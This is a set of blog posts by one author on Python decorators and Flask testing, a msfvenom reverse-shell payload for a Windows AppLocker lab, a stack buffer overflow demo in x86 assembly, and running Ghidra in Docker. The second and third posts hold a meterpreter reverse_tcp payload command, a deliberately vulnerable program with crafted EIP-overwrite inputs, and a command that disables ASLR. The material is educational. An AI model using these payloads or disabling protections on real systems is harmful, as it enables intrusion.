Recently I have been spending quite a bit of time learning/using Python for an API I'm implementing for a project at work. In order to create the API I have been using the Flask framework.

Whilst doing the development of this API I came across a need to better understand what decorators in Python do and how they work, for reasons I will explain shortly.

This blog post is not intended to recommend (or otherwise) either Python or Flask for an API project, but just to show a few things I have learned about how decorators operate.

Traditional web servers used to serve up content based on raw files on disk corresponding to the file paths given in the URL provided by the web browser. For example, if you pointed your browser to http://example.com/demo/test.html and the server had a document root of /var/www/html, a traditional web server would try to find the file at /var/www/html/demo/test.html and return it to the browser. Possibly doing some server-side parsing of the file for dynamic content.

In Flask, the content can be handled quite differently as it uses the concept of routes, which don't have any requirement to map to a physical file. Both the URL path and the mechanisms to generate/load the content required are all defined in code. You can have statically served content with Flask as well, but for the purposes of my API this isn't required.

So, what does this have to do with decorators?

Well, within Flask, the way in which you define the routes which the web server will respond to is by decorating the function which generates the content with a decorator provided by the Flask app. This way, Flask knows which function to call when the URL is hit.

This is all pretty cool and really quick and simple to get up and running. For example, a very simple Hello, world program looks like:

from flask import Flask

app = Flask(__name__)

@app.route("/api/helloworld")
def hello_world():
    return "Hello, World!"

app.run()

Running this using python3 app.py spins up a web server listening (by default) on port 5000 bound to the localhost/127.0.0.1 interface of the computer it's running on. You get some warnings that running the server this way isn't recommended and should only be used for development purposes. For what we're looking at here this is perfectly fine. If you do decide to run one in production you should really look at one of the WSGI frameworks which are out there (there are many to choose from).

The line @app.route("/api/helloworld") is the decorator in this instance and tells Flask that anytime a request comes through for http://localhost:5000/api/helloworld it should call this function and send back the returned data.

So, now that I've used the decorator and can easily create API endpoints, you may ask why I felt the need to delve deeper into the internals of what decorators do and how they operate. There are two main reasons I did this:

1. Curiosity
2. Testing

In terms of the curiosity, I like to understand as much as I can about how the frameworks/tools I am using do what they do. This is generally helpful both in terms of when things don't work they way I expect them to and trying to make the most out of the framework at hand.

With regards to testing, the trivial example presented above has very little which can go wrong. Some of the API endpoints I've needed to create, however, have significant amounts of logic involved and additional requests made by the code to external systems (mostly database queries and launching local applications on the OS). In order to ensure that the code functions as expected and continues to function as expected when I make changes to the codebase it's a good idea to ensure as much of the code as possible is covered by unit tests. That way if something stops functioning the way it used to you can discover it at code-creation time rather than run-time.

As the code I was writing grew and the number of endpoint my API had expanded, I started splitting the code into different files. I had a main app file which created the Flask app object and then handed it off to functions in other files to add their own routes to it. Whether this was the "correct" way to handle this or not I don't know, but it does what it needs to do for the moment, which is what is important to me. Going forward I may discover a new way to handle this and refactor the code. If I am making sweeping changes to the code as part of a refactor, the unit tests I have created will be invaluable to ensure that nothing I've changed breaks functionality.

The following files demonstrate how splitting the routes into different files works:

from flask import Flask
from routes import AddRoutes

app = Flask(__name__)
app.config["DEBUG"] = True

AddRoutes(app)

app.run()

def AddRoutes(app):
    @app.route("/api/helloworld")
    def hello_world():
        return "Hello, World!"

Again, running python3 app.py spins up a web server as before and the content served is the same as it was. You may have noticed the addition of the line app.config["DEBUG"] = True into the code. This tells Flask that we're running in Debug mode which give us a few nice features:

1. Automatic restart of the server if it detects code has changed
2. Browser based debugging if exceptions occur

Obviously don't run a production server with Debug enabled.

Although the example so far doesn't do much, it should still be possible to run unit tests on it to ensure that the returned values are as they are expected to be.

For this will will spin up a simple test_routes.py script:

from flask import Flask
from routes import AddRoutes

def test_helloworld():
    app = Flask("TESTING")
    AddRoutes(app)
    assert app.view_functions["hello_world"]() == "Hello, World!"

This can then be run with pytest (other testing frameworks are available), which shows that the test ran successfully and will show you how much of each file has been covered by the test:

python3 -m coverage report -m
Name             Stmts   Miss  Cover   Missing
----------------------------------------------
routes.py            4      0   100%
test_routes.py       6      0   100%
----------------------------------------------
TOTAL               10      0   100%

This unit test, unfortunately, has a dependency on Flask and involves it spinning up an instance of the Flask app class in order for the test to run. It also requires retrieving the function from within the view_functions object within the instantiated app. This probably causes the test to run slower than expected and also means that we're testing more than just our own code as a third party library is getting involved

In terms of timings, this test only takes 0.16 seconds to run but if we had thousands of tests to cover a significant proportion of the possible paths through the code, this could quickly add up.

So... What can we do instead?

Well, given that the AddRoutes function takes a parameter which defines what the object to add the routes to is, couldn't we just create our own class to use instead of relying on Flask?

Of course we could. In unit testing parlance these stripped down classes are referred to as Test Doubles and come in a variety of flavours. Such as Mocks, Fakes, Stubs, Spies and Dummies, as explained here.

Given that the AddRoutes method only relies on the route method in the Flask app, this is probably the only one we need to implement in order to get the test working without relying on Flask. This is used as a decorator in AddRoutes hence our interest today in decorators.

A quick lesson on decorators

So, now that we have established what we need to learn about decorators for, let's take a look at what they are and how we would implement one.

At a basic level, a decorator adds additional code around the function it is decorating. This could be in order to intercept and change the parameters with which the method is called, prevent the method being called, running the method multiple times, or doing additional work prior to or after the call is made, as a few examples.

It does this by defining and returning a function which is used in place of the function it is wrapping. The decorator takes an argument which represents the wrapped function, and the function within it takes the arguments which can be passed to the original function when it is called. The following code demonstrates this in action:

def decorator(f):
    def wrapper(*args, **kwargs):
        print("Called before function is run")
        f(*args, **kwargs)
        print("Called after function is run")
    return wrapper

def unwrapped_func(name: str):
    print(name)

@decorator
def wrapped_func(name: str):
    print(name)

print("Start unwrapped_func")
unwrapped_func("unwrapped")
print("End unwrapped_func")

print("Start wrapped_func")
wrapped_func("wrapped")
print("End wrapped_func")

At the top of the file you can see the implementation of a decorator. f represents the to-be-wrapped function. The function wrapper which is defined inside this function is what does the work here and takes args and kwargs parameters so that it can pass these along to the original function. The decorator function ends by returning the newly defined function.

Following on from that we define two more methods to demonstrate the functionality, unwrapped_func and wrapped_func which both provide the same functionality. It then proceeds to use these along with some debugging print calls to show the timings on what is happening:

python3 decorator1.py 
Start unwrapped_func
unwrapped
End unwrapped_func
Start wrapped_func
Called before function is run
wrapped
Called after function is run
End wrapped_func

unwrapped_func executes entirely as expected given its definition whereas wrapped_func produces the additional output as given by the wrapper function.

Pretty cool, huh?

In this example, however, we are only using a bare decorator. That is to say one which doesn't take any parameters. The route decorator from Flask, on the other hand, does take parameters, such as the URL path under which it is accessed, what HTTP methods are acceptable to use to call it, and so on.

Decorators with parameters are handled in a different way as there is a requirement to handle the parameters before it then handles the function. For this, the decorator returns a function to handle the parameters which then returns a function to handle the decoration logic. This is not necessarily an easy concept to get your head around and so I think an example may be helpful here:

def decorator(dec_param):
    def handler(f):
        def wrapper(*args, **kwargs):
            orig_arg = args[0]
            new_arg = "{} {}".format(orig_arg, dec_param)
            new_args = (new_arg,)
            f(*new_args, **kwargs)
        return wrapper
    return handler

@decorator("this")
def wrapped_func1(name: str):
    print(name)

@decorator("that")
def wrapped_func2(name: str):
    print(name)

wrapped_func1("test")
wrapped_func2("test")

Again, we start by declaring our decorator. This then defines and returns a function to handle the function to be wrapped, which in turn defines and returns the logic to be run when the function is called.

The wrapper function modifies the parameter provided to the call to use the parameter which the decorator was called with, resulting in the following output:

$ python3 decorator2.py 
test this
test that

At this point we're now armed with enough that we can proceed with our unit tests

Eliminating the Flask dependency

Now that we know how to implement a decorator which should be able to work in place of the Flask app's decorator methods, all that is left to do is create a class implementing the required functionality and use that in our test:

from routes import AddRoutes

class flask_mock:
    def __init__(self):
        self.known_routes = {}

    def route(self, route):
        def handler(f):
            self.known_routes[route] = f
            def wrapper(*args, **kwargs):
                return f(*args, **kwargs)
            return wrapper
        return handler

def test_helloworld():
    app = flask_mock()
    AddRoutes(app)
    assert app.known_routes["/api/helloworld"]() == "Hello, World!"

As we can see, we declare a class for our mocked out app implementation and include the route function with corresponding handler and wrapper methods. We have also taken the import for Flask out of the file.

The route function stores the reference to the hello_world function in a known_routes dictionary to allow this to be referenced and executed in the test code.

In reality, we don't even need to define and return the wrapper function as the method in question is never directly called (both in this test file and in the normal functioning of a Flask app), and so the code could be shortened as follows:

from routes import AddRoutes

class flask_mock:
    def __init__(self):
        self.known_routes = {}

    def route(self, route):
        def handler(f):
            self.known_routes[route] = f
        return handler

def test_helloworld():
    app = flask_mock()
    AddRoutes(app)
    assert app.known_routes["/api/helloworld"]() == "Hello, World!"

This test now functions in 0.01s which is a significant improvement.

Wrapping up

And so we conclude our little foray into the world of function decorators in Python. I'm sure there is plenty more which could be learned about them as I've only scratched the surface as far as needed for the use-case at hand.

I can see quite a few instances where being able to mock the Flask app is going to be useful for me going forwards, including having the ability to verify that the URL parameters in the route match with the parameters in the declared function.

Hopefully you all enjoyed coming on this little journey with me. Hopefully I'll be posting more soon.

Recently I was taking part in the Black Hills Information Security/Wild West Hackin' Fest training course Getting Started in Security with BHIS and MITRE ATT&CK presented by the awesome John Strand. I previously attended this course a few months back and returned this time to pick up on anything I may have missed the first time around and to help out in my role as part of the Community Support team on their Discord channel.

As part of this training course, a Virtual Machine is provided which contains all that you need in order to follow along with what John's teaching. It's a Windows 10 machine with Docker and WSL2 (Windows Subsystem for Linux) installed. It also contains all the information needed to be able to run through the labs in your own time (the LABS document is on the desktop of the virtual machine. Seriously, it's on the desktop. Have you tried looking on the desktop? Why do people keep asking where the labs are?)

One of the labs demonstrates how you would use AppLocker on a Windows system in order to prevent malicious software (or pretty much any software, in fact) from executing, giving system admins and cyber security staff the opportunity to sleep slightly more easily at night knowing that their users had fewer mechanisms through which they could cause issues.

In order to demonstrate this in action, John showed us how to create a malicious file using Metasploit's msfvenom console command from a Ubuntu instance on WSL2.

All pretty simple so far, right?

In terms of generating the executable, the instructions give us the following command to run:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe

And then it moves on to what needs to be done in order to get that file onto the Windows system and execute it.

What it doesn't do, and I'm not knocking it for this as it's not specifically relevant to the task at hand, is explain what it is the msfvenom is doing or what the parameters are which are being fed into msfvenom. Someone on the Discord chat wanted to know more:

Hey everyone.  Question about yesterday's lab:  In the command msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe

What does the -o option represent?

This is exactly the sort of thing I like to see - someone who's taken in the course material and is interested in finding out more.

I was planning on giving a quick answer to this, but it ended up being a little longer than expected:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
lhost= lport=4444 -f exe -o /tmp/TrustMe.exe

-a – The architecture which the output is destined for. msfvenom can create executables which run on a variety of platforms. For Windows systems you'll mainly be looking at x86 or x64.

--platform – The platform you're targeting, e.g. an operating system (Windows, Linux, BSD, MacOS), or a framework/platform/language (PHP, JavaScript, etc.). Each of these has a different way of loading and running executable code so the output needs to be structured correctly for these.

-p – the payload to include. Basically “What I want this to do when the user runs it”. Meterpreter has a number of different payloads which can by used. The one here (windows/meterpreter/reverse_tcp) is for creating a reverse_tcp shell (so the machine the code runs on calls back to another host to give it a shell) for meterpreter (you could have it set to just send plain data over rather than specifically having meterpreter at the other end) for a Windows system.

lhost – The IP address of the host which is receiving the reverse shell connection. In this case it will be the Ubuntu WSL instance running on your machine, but could be set to any address on the Internet.

lport – The port number which the connection will try to reach.

-f – the format of the file you're trying to generate. In this case it's an normal executable file but there are other ways of getting malicious code executed on a target machine.

-o – the name of the output which is being generated

This all combines together to give us an executable which will run a specific function once it has been transferred to the target machine – in this case getting it to establish a connection back to meterpreter on the attacking machine to allow the attacker to execute commands, etc.

From here you then use msfconsole to set up the other end of the connection on the machine you are attacking from (your Ubuntu WSL instance). In here you tell it to use the meterpreter handler. Setting LHOST lets it know what IP address to be listening on. This can be the same as the one you fed into msfvenom or it could be different if you are using port-forwarding or NAT to establish the connection. LPORT can be set here and needs to match the port number given to msfvenom (again, unless you're doing NAT stuff).

Once you have the listener running on the Ubuntu machine, the malicious file is transferred to the Windows machine and executed. Assuming that all the above functioned as expected, it will then create a connection back to your Ubuntu machine which then allows you to perform actions on the victim (Windows) machine from the attacking (Ubuntu) machine where any commands you instruct it to run will be executed as the user who ran the file.

This isn't exploiting any specific vulnerability within Windows, it's just making an outbound network connection, similar to how many legitimate pieces of software would function. It just happens that in this case it grants the system it's connecting to access to do things.

Once this connection has been established the attacker could then look around for things which may be useful. This could be paths to escalate the privilege level they have on the machine (i.e. going from a restricted user account to an admin account). This could be either by exploiting vulnerabilities or finding poorly configured software which can be exploited. Alternatively they could do additional reconnaissance from this position, such as finding out details of the local/internal network or looking for usernames and passwords which may be stored on the local machine.

Obviously you wouldn't want to have this happen against you/your users outside of this controlled environment as actual harm could come of it, which is where we get into looking at preventative measures such as using AppLocker as that would prevent the file from executing in the first place.

Firewalls can also be used to prevent the executable making connections to the outside world even if it were allowed to be run. Just controlling this through the firewall would not be sufficient in itself as it would be possible to send a payload which does damage to the machine without needing to make any network connections as part of the process.

As I thought what I'd written may be of value outside of the Discord chat, I thought I'd turn it into this blog post (and tidy it up a bit).

There are many other parameters which msfvenom can use which I haven't covered here (maybe I will in a later blog post) but this hopefully serves as a good primer on what it's doing.

Thanks for reading, I hope you found the above useful :)

(Also, if you've not heard of BHIS/WWHF before and you have an interest in Information Security, I'd highly recommend checking them out - they offer loads of free 1hr training sessions on a near weekly basis. They also do a lot of longer paid-for courses at very reasonable prices which going into topics with a much greater depth.)

As mentioned in my previous post Ghidra on Docker accessed using X forwarding over SSH, I'm currently going through the process of creating a range of exploitable binaries for a talk I plan to give on Binary Exploitation.

This article covers the first section of that talk, showing how to take control over an executing binary to make it exhibit behaviour it wasn't coded to do.

We'll start by covering a few basics about what a computer binary is and how it gets loaded into memory, how control flows within a compiled binary as it is executed, a brief explanation on what a buffer overflow is, going through the process of crafting a binary with a specific coding flaw to exploit, followed by showing how to execute the exploit against it.

So, what is an executable binary?

At a really basic level, all files which exist on a computer consist of a series of '1's and '0's which represent the data within that file. Some of these files contain code which the computer can execute to perform the functions intended by the person who programmed it. In theory you could offer up any file to the processor and ask it to try to execute it. In reality, however, most files which aren't specifically designed for this will cause the CPU to choke when it encounters data it can't execute.

There are two main mechanisms through which source code written by a software developer gets run on a computer. Either the source code is run through an interpreter running on the system which turns the text written by the developer into a series of instructions to pass to the CPU at the time of execution, or the code goes through a compilation phase prior to being run to turn it into a file full of instructions that the CPU understands natively. There are some nuances to both of these and it's not quite as simple as I may have made out but for our purposes today that should cover enough.

Within this article we will be dealing with the latter of these and looking at files which have been compiled from source code into native machine instructions.

Alongside the actual code which the processor uses as instructions to perform, and the data to perform these instructions on, the binary file contains other data which tells the operating system about the contents of the file and how it needs to be loaded into memory in order for the execution of the program to start.

The key parts involved in this for what we're looking at are the sections which tell the OS where to put the instructions and code into memory and where within the loaded code the execution should start.

From this point, the CPU goes through the instructions one at a time and performs actions based on these. This could be performing calculations or moving data to memory or, and quite important for our purposes, controlling the flow of the application by changing which instruction needs to be executed next.

Control Flow within an Executable

Unless the program is incredibly basic (hello, Hello World!) there will need to be decisions made during the course of execution which result in different behaviours being exhibited by the application. For example if the application related to financial transactions it would need to behave differently if the bank balance was positive compared to being massively overdrawn and hideously broke.

To achieve this, there are various instructions which perform comparisons between data values (like comparing the bank balance to the number zero), as well as instructions to jump between different sections of code based on the results of those comparisons. The main ways to move to a different section of code are either a jump, which simply transfers control to another section of code, or a call, which transfers control to another section of code but expects that, when that code has finished, the control will return to the next instruction after the call instruction.

When a call instruction is executed, certain values are put into known locations for the purposes of transferring data (called arguments or parameters) for the called function to operate on and the location of the instruction which needs to be returned to once the called function completes. These items of data are placed into what is known as the stack, which is an area of memory for small(ish) short-lived values to reside in.

The fact that we can store data on the stack and that that is also where the return addresses are stored is critical to how our exploit works.

It is the value of this return location we will be looking to hijack in order to change the flow of the application and make it do our bidding.

Buffer Overflowing for Fun and Profit

So, what do I mean when I say a buffer and what is meant by overflowing it?

A buffer, in simple terms, is a contiguous area of memory with a size defined at the point where the program was compiled (buffer sizes can be defined dynamically, as the program executes, but that is out of scope for this article).

Overflowing the buffer simply means giving it more data than it was intended to receive. In an ideal world this wouldn't ever happen and the program should have been defined in such a way that user-controlled data is checked for size before the program tries to do anything with it. Unfortunately, this isn't an ideal world and programmers aren't as infallible as they might sometimes like to think.

So... What happens when the program tries to write more data to a buffer than it's expecting? There are a few possibilities here:

1. Nothing at all - this is quite a nice outcome as a general rule.
2. The program crashes immediately because the area of memory it is trying to write to is inaccessible (which could occur for several reasons).
3. The program continues to operate but the data it is working with is corrupted, leading to unexpected results or a crash further down the line.

For our purposes, we're aiming to achieve number 3, but doing so in a way where we can have control over the unexpected results. Expected unexpected behaviour, if you will.

One mechanism for gaining this control is to have the buffer overflow run into the area of memory where the return value for the current function is stored, changing it to the value of other code we wish to execute. If we can do this in a controlled and predictable way we can control what the program does once the function finishes.

Creating the Binary

So, now that we know the basic building blocks for what we're trying to achieve, it's time to roll up our sleeves and create an exploitable program.

To recap what we need:

1. The program needs to have a buffer in it which is located suitably close to the location where the return value is to be stored.
2. The program needs to accept external, user-controlled, input from somewhere. For our purposes we will simply be using command line arguments which are passed to the program when it is started.
3. Something which shows to us that we have indeed subverted control and that our exploit is working.

I will be writing the program for this in x86 Assembler, which is a very low level language not that far removed from coding the '1's and '0's by hand. I would like to say I chose Assembler because I'm highly skilled at it, but it's more that I couldn't get GCC to compile my C (another relatively low-level language) code the way I wanted and I thought it'd be easier to do in Assembler. I also like a challenge :)

The code I wrote to demonstrate this is as follows:

.intel_syntax noprefix

.section .data
    msg: .asciz "This shouldn't get called.\n"
    fmt: .asciz "%s\n"

.section .text
    .global main

do_not_run:
    push ebp
    mov ebp, esp
    lea eax, msg
    push eax
    call printf@plt
    add eax, 4
    leave
    ret

main:
    push ebp
    mov ebp, esp
    sub esp, 0x8
    cmp DWORD PTR [ebp+0x8], 0x1
    jle skip
    mov eax, DWORD PTR[ebp+0x0c] 
    add eax, 4                   
    mov eax, DWORD PTR[eax]      
    push eax                     
    lea eax, [ebp-0x8]           
    push eax                     
    call strcpy@plt              
    add esp, 0x8                 
    lea eax, [ebp-0x8]
    push eax
    lea eax, fmt
    push eax
    call printf@plt
    add esp, 0x8
skip:
    xor eax, eax                 
    leave                        
    ret                          

There are several parts to this program. At the top we have:

.intel_syntax noprefix

.section .data
    msg: .asciz "This shouldn't get called.\n"
    fmt: .asciz "%s\n"

.section .text
    .global main

This simply defines different sections which will end up in the finished binary. The data section contains data which is needed for the program. The next section is the one which contains our executable code and is, for some reason, called the text section. The top line is just an instruction to the compiler letting it know what syntax we're using.

Below this we have our first function which happens to also fulfil the criteria for requirement 3. This function is not called during the normal operation of our program so we will show that we can divert control to this function to prove that our exploit works. All the function does is to print the line This shouldn't get called. (Inventive, right?)

The next section is out main method, which is the entry point into our program. This does a few things for us. First it defines a buffer of 8 bytes on the stack (which is what the instruction sub esp, 0x8 is doing for us). It then checks that a command line argument has been passed through by checking that the number of arguments is greater than one (there is always at least one argument passed through, this being then name of the program being run). This is done with cmp DWORD PTR [ebp+0x8], 0x1 with the following line jle skip instructing the processor to jump to the skip label further down should the value be 1 or less. From there it marshals the arguments for a call to strcpy which is a function in the C standard library. It then echoes this back to the user using a call to printf, another standard function. The last section sets the return value and returns control to whatever called this function.

Now that we have our code, we just need to compile it using:

gcc -m32 -no-pie -fno-pic main.s -o stack-redirection

This instructs GCC to compile the code as a x86 32-bit executable (-m32), without making the executable position independent (-no-pie), without position independent code (-fno-pic) using the file main.s as the source and outputting (-o) to the file stack-redirection. Exactly what those parameters are doing is mostly out of scope but in simple terms it's turning off mitigations which the compiler and operating system have in place to protect against poorly written code.

Cool, we have a binary, let's run it

First of all, we should probably check that the program functions as expected. We'll give it a quick run with a short argument:

./stack-redirection Testing!
Testing!

Well, that all looks to work OK. No errors and it parrots back the text which was entered. Let's try another:

./stack-redirection Ceisc
Ceisc

Still looking good. Let's try something a little longer:

./stack-redirection WillThisWorkProperly?
WillThisWorkProperly?
Segmentation fault (core dumped)

Well, that kind of worked. It certainly output the parameter we entered, but then we had the weird message Segmentation fault (core dumped). So what is this?

In a simplified nutshell, a segmentation fault occurs when the processor tries to do something with memory it doesn't have access to. So, during the course of execution something has happened which has made the CPU look somewhere it wasn't expecting to.

Getting a program to crash is pretty cool, but we can do better than this, right? After all, we have that whole other function that we haven't used yet.

Finding Badness

So, what's causing our crash and how can we make use of it?

The first thing to do with this is to run the program through a debugger and see at what point it's failing. For this I'll use GDB which is a standard debugger available on most *nix platforms. My version has GEF (GDB Enhanced Features) installed as I find this makes debugging easier. We'll fire it up with the following command:

gdb --args ./stack-redirection WillThisWorkProperly?

This looks very similar to the command we had before but simply pre-pended with gdb --args which asks GDB to run our file with the arguments provided. This then takes us into GDB:

From here we'll type r and hit return to tell GDB to run the program. The next output we see is as follows:

We can see from this that the program tried and failed to access memory at address 0x706f7250. The question now is "Why did it try to access this memory?". It also says that it Cannot disassemble from $PC. $PC is the Program Counter and tells the CPU which instruction to execute next.

So, the crash is caused by the processor trying to fetch its next instruction from an area of memory it can't access this. More "Why?" based questions may arise from this. Obviously there is something about the argument we fed it which caused this to happen.

It helps to know that the program counter is stored in one of the registers in the CPU (registers can be thought of as very small areas of very quick memory which the CPU uses when it performs instructions). On an x86/32-bit platform the register used is called EIP. If we look further up the screenshot we can see that the value of $eip is set to 0x706f7250, which looks remarkably familiar. Next to that value we can see the string "Prop" which is interesting as it looks like part of the argument we sent to the program in the first place, "WillThisWorkProperly?".

So, it looks like part of the value we sent to the program has directly influence where the CPU looks for code to be executed. Let's try again changing only this part of the argument and see what happens:

gdb --args ./stack-redirection WillThisWorkAAAAerly?

Well, this is looking good. We've confirmed that those four specific characters in our input give us control over the value in EIP.

So, what can we do with this?

Exploiting the Weakness

As we have full control over what value ends up in EIP, we could craft a parameter to send to the program which moves control to an area of memory which is: a) accessible to the CPU, and b) contains valid instructions to be executed.

Where can we find such a value and what value do we want to put in? Well, I seem to recall, a couple of thousand words or so ago, saying that we were going to put an extra function in our code to prove that we could exploit the flaw. Wouldn't it be nice to put something in the parameter to do this?

The answer here is obviously a yes, but it does lead us to the question of "How do we know what value to put in so this happens?"

Enter my good friend Ghidra.

Ghidra is a tool for decompiling executable code and showing it in both assembler and an approximated C form. It also shows where in the memory the code in question is mapped to. Once we know where the code for our extra function resides we can use this address in the parameter sent to the application and get it to execute this function.

Let's fire up Ghidra and take a look at the code:

As you can see at the bottom of the picture we have code which looks remarkably similar to that of our initial source code, with the main function starting at address 0x0804919a. A little bit up from this at address 0x08049186 we can see our do_not_run function.

We should now be able to use this address in our parameter to trick the program into executing our function. Let's give it a go:

./stack-redirection $(echo -e "WillThisWork\x86\x91\x04\x08erly?")
WillThisWork�erly?
This shouldn't get called.
Segmentation fault (core dumped)

As you can see, our program still crashed out with Segmentation fault (core dumped) but immediately before that we have a new line in the output: This shouldn't get called. It looks like we have successfully diverted the execution of the program and got it to run our other function.

There are a few things to note in this:

1. The way I have supplied the argument looks a bit odd. This is because some of the required values don't have ASCII equivalents which you can type on a keyboard so they've had to be entered as escaped hex values. The $(...) part executes the commands inside and then uses this as the value for the parameter and the echo -e is so that the string is turned from ASCII with escaped hex into raw data.
2. The hex values which have been entered are in the reverse order than we saw in Ghidra. This is because the x86 architecture is little-endian which means that the least significant byte appears in memory first so we have to swap the bytes around (each byte is represented by two ASCII characters so we have to swap them in pairs).
3. The value that our main function prints back out doesn't quite look right. This is due to the lack of printable ASCII equivalents to the values, as mentioned in point 1.
4. The program still crashes. This happens because of the damage we did to the stack when we overwrote the original return address. Although we got it to execute the other function when it reached the ret instruction at the end of that function, it tried to use another value from the stack to jump to, which then failed.

Wrapping Up

So, we have now gone through the journey of understanding how computer programs are loaded into memory, what a buffer overflow looks like, how to craft a vulnerable program, and how to exploit that weakness.

During the course of this journey there are quite a few details which have been glossed over or simplified in an attempt to prevent this post growing out of control, but I'm hopeful most of the basics have been explained in a way you could understand.

Going forward I'm planning on adding more to this series which should add more meat to the bones on some of these ideas and further aid understanding on what's going on under the hood.

If you enjoyed this article be sure to keep an eye out for the next in the series.

One last thing...

You may be wondering if it's possible to exploit this flaw and have the program terminate normally rather than crashing.

Like with so much where computers are involved, it's not a simple yes or no answer. With some tweaks being made to how the underlying operating system functions, it's possible to add an additional return address to the parameter to get it to jump to the normal exit procedure for the program, but this relies on ASLR (Address Space Layout Randomisation) being disabled at the OS level.

I won't go into detail on what ASLR is at the moment as it's out of scope for this article but should be covered in future posts. I will tell you that in order to disable it you just need to run:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This requires superuser privileges on the machine so if you don't own the machine you won't be able to do this. It is also not something you should be doing except for testing purposes.

Once this has been done you just need to find what address the original function should have been returning to and add this to our command line parameter. In order to do this we'll return to GDB and examine the values on the stack at the point where execution enters the main function:

The value we care about from here is the 4th item up the stack (or 4th item down on this list due to the way it's displayed). This is at address 0xffffd3dc and is set to 0xf7df6ee5.

If we use this value in our parameter we should see that the program appears to exit successfully:

./stack-redirection $(echo -e "WillThisWork\x86\x91\x04\x08\xe5\x6e\xdf\xf7")
WillThisWork��n��
This shouldn't get called.

You'll have to take my word that it did exit successfully and that I haven't just removed the crash line.

The issue we have here is that this won't work correctly is ASLR is enabled and there are a number of other things which could change to prevent it working correctly but it does, at least in this instance, allow the program to exit correctly.

The actual mechanism used here for stringing together return addresses in the exploit is the basis for forming ROP chains which can give a lot of flexibility on what code you can get the process to execute.

I will be covering exploiting using ROP chains in a future post but for now I will bid you all a fond goodbye and hope to see you back here for the next instalment.

To combat the impostor syndrome I have been feeling over my InfoSec knowledge, I decided to plan out talks in subjects I am both excited for and know a bit about.

First up is binary exploitation, specifically around buffer overflows.

What does this have to do with Ghidra, I imagine you asking.

Well, I'm glad you asked...

As the first step towards being able to teach/talk about buffer overflows I decided I'd quickly put together some code which demonstrates how the overflow techniques work. This way it'd be much easier to demonstrate and explain as I would have some executables made from simple source code which clearly show the issues I'm presenting and which functioned as expected.

After having created the first one, I decided that it might be useful if I had a way to reverse out the binary to check that it was structured the way I expected (this was mainly because i wanted to check that gcc wasn't optimising away one of the functions my exploit would rely on. In order to do this I would usually use ghidra. There are other reversing tools out there, but this is the one I'm currently most familiar with.

In order to do the development work for the buffer overflow material and have a place in which to demonstrate it, I'd spun myself up a new Ubuntu virtual machine with the intention of using Docker to run each of the different binaries. The plan was that each executable would be placed into a different docker container and set up so that I could nc into them and interact with the program. Ideally keeping it all nice and clean and allowing myself to quickly start and stop the instances.

The problem with this is that now everything is remote and it doesn't really work with me being able to use Ghidra from my normal laptop. I decided that I didn't want to install Ghidra directly on the VM as I was trying to keep it as clean and uncluttered as possible.

At this point, An Idea happened: why couldn't I also run Ghidra in a docker container?

I couldn't immediately see any reason this wouldn't work and, fortunately, I had no one around to tell me it was a bad idea. So I set to work.

Usually when I first start out with a fresh idea for something I want to Dockerise (not sure if that's a word but as this is my blog I'll use it anyway), I would start with a fairly blank image and iteratively add the packages I need as I work out how to get the software running. After a few tries, this is what I ended up with for my Dockerfile:

FROM ubuntu:20.10

ENV DEBIAN_FRONTEND noninteractive

RUN apt update && \
  apt upgrade --auto-remove -y

RUN apt install -y \
    curl \
    wget \
    unzip \
    openjdk-11-jdk-headless && \
  rm -rf /var/lib/apt/lists/*

RUN useradd -ms /bin/bash ghidra

WORKDIR /home/ghidra
RUN chown ghidra:ghidra /home/ghidra && chmod 770 /home/ghidra

USER ghidra:ghidra
RUN N=$(curl -s https://ghidra-sre.org/ | grep code.*PUBL | sed 's/^.*<code>\(.*\)<\/code>.*$/\1/'); \
  HASH=$(echo ${N} | cut -d " " -f 1); \
  FILE=$(echo ${N} | cut -d " " -f 2); \
  curl -s -o ghidra.zip https://ghidra-sre.org/${FILE}; \
  SHA=$(sha256sum ghidra.zip | cut -d " " -f 1); \
  if [ "${SHA}" != "${HASH}" ]; then \
    exit -1; \
  fi; \
  unzip ghidra.zip > /dev/null 2>&1; \
  mv *PUBLIC ghidra; \
  rm ghidra.zip; \
  sed -i 's/bg/fg/' /home/ghidra/ghidra/ghidraRun

CMD ["/home/ghidra/ghidra/ghidraRun"]

Luckily there weren't too many dependencies required. I had to do some messing around with parsing out the URL for the download from the Ghidra website and this file will probably break if the NSA choose to change the site too much. I was initially trying to use GitHub for the downloads but it looks like they only have source packages there and I wasn't feeling hardcore enough to build it from scratch as part of the process. I also had to change the script that's provided for starting Ghidra so that it didn't go into the background. This is because if it did background, the startup script would end and Docker would see the main process had finished and shut down the container.

This Dockerfile was then built with docker build --rm --tag ceisc/ghidra . from the directory with the Dockerfile in it.

This all seemed to work fine, but there was another hurdle to overcome:

AWTError - Can't connect to X11 window server using ':0.0' as the value of the DISPLAY variable.

It wasn't entirely unexpected that it wasn't going to be able to find a X11 server to connect to - I had, after all, done nothing to get this side of it to work.

My first step in resolving this was to make sure that I had X11 forwarding enabled on the SSH connection, so I added -X to the ssh command line. That turned out to be one of the simplest parts.

By default the X forwarding binds to the localhost address of the machine you're sshd into, which doesn't really lend itself to having it available in the Docker container. It would probably be possible to either 1) run docker with --net host to grant it access to the host's network, but that felt like too much access, or 2) change the SSHD setup to allow connections outside of localhost. Option 2 also felt wrong as my X server would be available from other parts of my network.

Luckily I stumbled over an excellent Stack Overflow answer which told me exactly what I needed to do:

iptables \
  --table nat \
  --insert PREROUTING \
  --proto tcp \
  --destination 172.17.0.1 \
  --dport 6010 \
  --jump DNAT \
  --to-destination 127.0.0.1:6010

sysctl net.ipv4.conf.docker0.route_localnet=1

The iptables command simply intercepts connections to port 6010 (the port DISPLAY=:10 maps to) for the host's docker IP and redirects it to the same port on localhost.

Once this was in place I just needed to do some magic around xauth to ensure that when the docker container tried to connect it would be allowed to do so. This was wrapped up in a bash script I put together to use whenever I needed to run ghidra:

#!/bin/bash

XAUTH=/home/ceisc/.ghidra/.docker.xauth
touch ${XAUTH}

xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge -

docker run --rm -d -e DISPLAY="172.17.0.1:10" -e XAUTHORITY=${XAUTH} -v ${XAUTH}:${XAUTH} ceisc/ghidra:latest

